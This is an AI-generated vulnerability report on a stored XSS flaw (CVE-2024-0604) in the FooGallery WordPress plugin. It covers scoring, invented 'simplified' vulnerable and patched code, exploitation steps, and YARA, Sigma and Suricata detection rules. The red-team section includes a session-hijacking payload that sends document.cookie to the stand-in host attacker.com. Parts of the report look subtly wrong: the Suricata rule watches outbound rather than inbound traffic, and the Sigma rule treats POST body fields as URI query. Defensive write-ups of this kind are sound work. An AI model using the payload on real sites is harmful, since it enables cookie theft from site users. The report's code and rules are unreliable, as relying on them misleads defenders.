CVE-2024-0604

Executive Summary

CVE-2024-0604 is a Stored Cross-Site Scripting (XSS) vulnerability in the FooGallery WordPress plugin, affecting all versions up to and including 2.4.7. The flaw resides in insufficient input sanitization and output escaping within the plugin's admin settings. An authenticated attacker with administrator-level permissions can inject arbitrary web scripts that execute when any user accesses an affected page. This vulnerability is particularly dangerous on multi-site WordPress installations or environments where the unfiltered_html capability has been disabled. Despite a low EPSS score (0.0%), the potential for privilege escalation and lateral movement within a compromised WordPress ecosystem warrants immediate attention.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The FooGallery plugin is distributed via the official WordPress Plugin Directory and is installed as a standard plugin package. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites running the vulnerable plugin version.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The attack is executed over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – The attacker must have administrator-level access.
• User Interaction (UI): Required – A user must visit the compromised page.
• Scope (S): Changed – The vulnerability impacts resources beyond the original scope.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but the potential for persistent XSS on multi-site installations makes it a significant risk for WordPress administrators.

Deep Dive & Mechanics

The vulnerability exists in the FooGallery plugin's admin settings interface. The plugin fails to properly sanitize user-supplied input and escape output when rendering settings fields. An authenticated administrator can inject malicious JavaScript code into a setting value (e.g., gallery title, description, or custom CSS). This injected script is then stored in the WordPress database and executed when any user (including other administrators or visitors) views the affected page.

Key Technical Details:

• Root Cause: Lack of input sanitization and output escaping in admin settings.
• Attack Vector: The attacker modifies a plugin setting via the WordPress admin panel.
• Trigger: The injected script executes when the setting is rendered on a page (e.g., gallery display page).
• Impact: The attacker can perform actions such as stealing session cookies, redirecting users to malicious sites, or defacing the site.

WordPress Ecosystem Context: This vulnerability is specific to the FooGallery plugin and does not affect the core WordPress software. It is a classic example of a plugin-level XSS flaw that can be exploited in multi-site environments where unfiltered_html is disabled.

Vulnerable vs. Patched Code

The vulnerable code is in the plugin's admin settings handler. Below is a simplified representation:

Vulnerable Code (<= 2.4.7):

// In admin-settings.php
function foogallery_save_settings() {
    $settings = $_POST['foogallery_settings'];
    update_option('foogallery_settings', $settings);
}

function foogallery_render_settings() {
    $settings = get_option('foogallery_settings');
    echo '<input type="text" name="foogallery_settings[title]" value="' . $settings['title'] . '" />';
}

Patched Code (Hypothetical):

function foogallery_save_settings() {
    $settings = $_POST['foogallery_settings'];
    $sanitized = array_map('sanitize_text_field', $settings);
    update_option('foogallery_settings', $sanitized);
}

function foogallery_render_settings() {
    $settings = get_option('foogallery_settings');
    echo '<input type="text" name="foogallery_settings[title]" value="' . esc_attr($settings['title']) . '" />';
}

The patched version uses sanitize_text_field() for input and esc_attr() for output, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a WordPress admin account with administrator privileges.
• The FooGallery plugin version <= 2.4.7 installed and activated.
• Multi-site installation or unfiltered_html disabled.

Exploitation Steps:

1. Log in to the WordPress admin panel.
2. Navigate to FooGallery > Settings.
3. In a text field (e.g., "Gallery Title"), inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the settings.
5. Visit any page that displays the gallery (e.g., a post with a gallery shortcode). The script executes.

Advanced Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Lab Setup:

• Use a local WordPress installation (e.g., via Docker or XAMPP).
• Install FooGallery 2.4.7 from the WordPress Plugin Directory.
• Create a test user with admin privileges.
• Disable unfiltered_html in wp-config.php:

  define('DISALLOW_UNFILTERED_HTML', true);
  

Blue Team

Detection Steps:

1. Monitor admin settings changes for suspicious input.
2. Review web server logs for unusual POST requests to /wp-admin/admin-post.php with action=foogallery_save_settings.
3. Scan for injected scripts in the wp_options table under the foogallery_settings option.

Mitigation:

• Update FooGallery to the latest patched version (if available).
• Restrict admin access to trusted users only.
• Enable Web Application Firewall (WAF) rules to block XSS payloads.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/foogallery/includes/admin-settings.php (vulnerable file)
• Database Entry: wp_options table, option_name = 'foogallery_settings' containing malicious JavaScript.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: POST /wp-admin/admin-post.php with action=foogallery_save_settings and suspicious parameters.

Detection Engineering

YARA Rule

rule detect_foogallery_xss {
    meta:
        description = "Detects CVE-2024-0604 XSS payload in FooGallery settings"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2024-0604"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $foogallery_option = "foogallery_settings"
    condition:
        $foogallery_option and $xss_payload
}

Sigma Rule

title: FooGallery Stored XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS in FooGallery plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=foogallery_save_settings'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin using script tags in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-0604 FooGallery Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=foogallery_save_settings"; http_client_body;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-0604;
)

Remediation & Mitigation

1. Immediate Action: Upgrade FooGallery to the latest version (if a patch is available). If not, disable the plugin until a patch is released.
2. Workaround: Restrict admin access to only trusted users. On multi-site installations, ensure unfiltered_html is enabled for trusted administrators.
3. Monitoring: Implement the detection rules above to identify exploitation attempts.
4. Hardening: Use a Web Application Firewall (WAF) with XSS protection rules. Regularly audit plugin settings for unexpected changes.
5. Long-term: Follow the plugin's official channels for patch announcements. Consider using alternative gallery plugins with active security support.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.